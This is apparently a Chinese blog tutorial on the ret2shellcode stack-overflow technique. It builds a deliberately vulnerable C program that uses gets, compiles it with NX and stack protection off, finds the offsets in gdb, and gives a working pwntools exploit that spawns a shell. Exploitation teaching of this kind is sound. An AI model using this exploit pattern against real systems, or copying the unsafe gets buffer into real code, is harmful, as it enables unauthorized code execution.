栈溢出之ret2shellcode

前言

上一篇博客讲到的ret2text中,我们利用了程序中已有的sys函数中的恶意代码来进行getshell,而实际情况中很可能没有这种代码,我们就需要自己拼接或构造恶意代码。这篇文章就讲另一种方式,使用填充shellcode的方法构造恶意代码。

ret2shellcode原理

ret2shellcode,即控制程序执行shellcode代码,shellcode需要放在一个可执行区域,然后通过返回地址找到这个地方执行填充好的恶意代码,获取shell。

题目描述

我们手动码一个带栈溢出问题的程序,这个程序有一个子函数func,func中gets位置存在栈溢出,并且程序有一个全局变量buf。

1
2
3
4
5
6
7
8
9
10
11
12
13
#include<string.h>
#include<stdlib.h>
char buf[128];

int func(){
char msg[100];
gets(msg);
strcpy(buf,msg);
puts(msg);
}
int main(){
func();
}

如果要在内存空间中执行代码,我们需要关闭之前linux程序保护机制一文中提到的NX保护机制来构造一个环境。
在gcc编译过程中加入-z execstack参数使其关闭NX保护机制,并打开-g调试选项,使用如下方式进行编译。

1
gcc -g -fno-stack-protector -no-pie -z execstack -o ret2shellcode64 ret2shellcode.c

ROP过程

问题分析

首先我们将程序gdb中,使用checksec查看一下安全机制(养成习惯)

分析程序,由于gets(msg)位置很明显有栈溢出,所以就是需要找一个目标地址来执行恶意代码获取shell,但是本题目中没有另一个子函数,却有一个全局变量buf,msg的内容会被拷贝到buf中,根据ret2shellcode的原理,我们能放下很长一段shellcode的地址也只有这个buf了,所以需要想办法构造溢出填充返回地址指向全局变量buf,且strcpy过程填充buf为shellcode。

所以我们需要的信息有以下几点:
1.全局变量buf的地址
2.局部变量msg的地址
3.func函数的返回地址

寻找信息

接下来就按照整理好的思路一步步获取信息

1.在第char msg[]处下个断点调试,运行程序到func内,并打印全局变量buf、局部变量msg,的地址和此时rbp的地址。

2.使用vmmap查看全局变量buf所在位置是否具有可写权限。

此时找到局部变量msg的地址是0xffe210,rbp的地址是0xffe280,全局变量buf的地址是0x404060,那么64位程序func返回地址就是0xffe288,且从vmmap结果可以得到全局变量中具有可执行权限。

此时我们所有需要的信息都得到了,就可以开始构造我们的payload了。

pwn

首先分析payload构成,我们要填充局部变量msg,这部分填充会被拷贝到buf中,所以要先填充shellcode,然后再填充一部分字符,使其使其占用空间直到返回地址,然后再将后面八个字节的位置填充为全局变量buf的地址0x404060,就可以使程序跳转到我们构造好的恶意代码处执行。

加上shellcode的总偏移长度是返回地址减去局部变量地址,得到0x78=120

这个总偏移长度要被shellcode和填充占满,后面的填充好说,前面的shellcode需要我们通过二进制数据模拟一个shell出来,这对于初学者来说稍微有些困难,我们可以通过编译好一个system(“/bin/sh”)程序来获取,也可以网上查找,最方便的办法还是用之前介绍过的pwntoolsshellcode模块直接生成。

shellcode = asm(shellcraft.amd64.linux.sh())
payload = shellcode.ljust(120, ‘A’)+p64(0x404060)

然后写出exp:

1
2
3
4
5
6
7
from pwn import *

p = process("./ret2shellcode64")
shellcode = asm(shellcraft.amd64.linux.sh(),arch="amd64")
payload = shellcode.ljust(120, 'A')+p64(0x404060)
p.sendline(payload)
p.interactive

执行exp即可获取shell

fork me on github